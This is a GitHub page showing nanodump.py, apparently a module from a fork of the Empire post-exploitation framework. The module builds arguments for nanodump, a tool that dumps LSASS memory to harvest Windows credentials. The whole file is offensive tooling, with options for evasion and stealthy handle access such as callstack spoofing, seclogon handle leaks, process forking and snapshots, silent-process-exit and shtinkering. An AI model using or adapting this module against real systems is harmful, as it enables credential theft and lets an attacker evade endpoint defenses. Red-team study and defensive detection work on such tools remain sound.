forked from EmpireProject/Empire
-
-
Notifications
You must be signed in to change notification settings - Fork 584
/
Copy pathnanodump.py
84 lines (67 loc) · 3.04 KB
/
nanodump.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
class Module:
@staticmethod
def generate(
main_menu: MainMenu,
module: EmpireModule,
params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
params["Architecture"] = "x64"
script_file, script_end = main_menu.modulesv2.generate_bof_data(
module=module, params=params, obfuscate=obfuscate
)
for name in params:
value = params[name]
if name == "write":
if value != "":
dump_path = value
write_file = "1"
else:
dump_path = "find_me.dmp"
write_file = "0"
if name == "valid":
use_valid_sig = "1" if value == "true" else "0"
if name == "fork":
fork = "1" if value == "true" else "0"
if name == "snapshot":
snapshot = "1" if value == "true" else "0"
if name == "duplicate":
dup = "1" if value == "true" else "0"
if name == "elevate-handle":
elevate_handle = "1" if value == "true" else "0"
if name == "duplicate-elevate":
duplicate_elevate = value if value == "true" else "0"
if name == "getpid":
if value == "true":
pid = "1"
get_pid = "1"
else:
pid = "0"
get_pid = "0"
if name == "seclogon-leak-local":
use_seclogon_leak_local = "1" if value == "true" else "0"
if name == "seclogon-leak-remote":
if value == "true":
use_seclogon_leak_remote = "1"
seclogon_leak_remote_binary = "0"
else:
use_seclogon_leak_remote = "0"
seclogon_leak_remote_binary = ""
if name == "seclogon-duplicate":
use_seclogon_duplicate = "1" if value == "true" else "0"
if name == "spoof-callstack":
spoof_callstack = "1" if value == "true" else "0"
if name == "silent-process-exit":
if value != "":
silent_process_exit = ""
use_silent_process_exit = "1"
else:
silent_process_exit = ""
use_silent_process_exit = "0"
if name == "shtinkering":
shtinkering = "1" if value == "true" else "0"
script_end += f" -i:{pid} -z:{dump_path} -i:{write_file} -i:{use_valid_sig} -i:{fork} -i:{snapshot} -i:{dup} -i:{elevate_handle} -i:{duplicate_elevate} -i:{get_pid} -i:{use_seclogon_leak_local} -i:{use_seclogon_leak_remote} -z:{seclogon_leak_remote_binary} -i:{use_seclogon_duplicate} -i:{spoof_callstack} -i:{use_silent_process_exit} -z:{silent_process_exit} -i:{shtinkering}"
return f"{script_file}|{script_end}"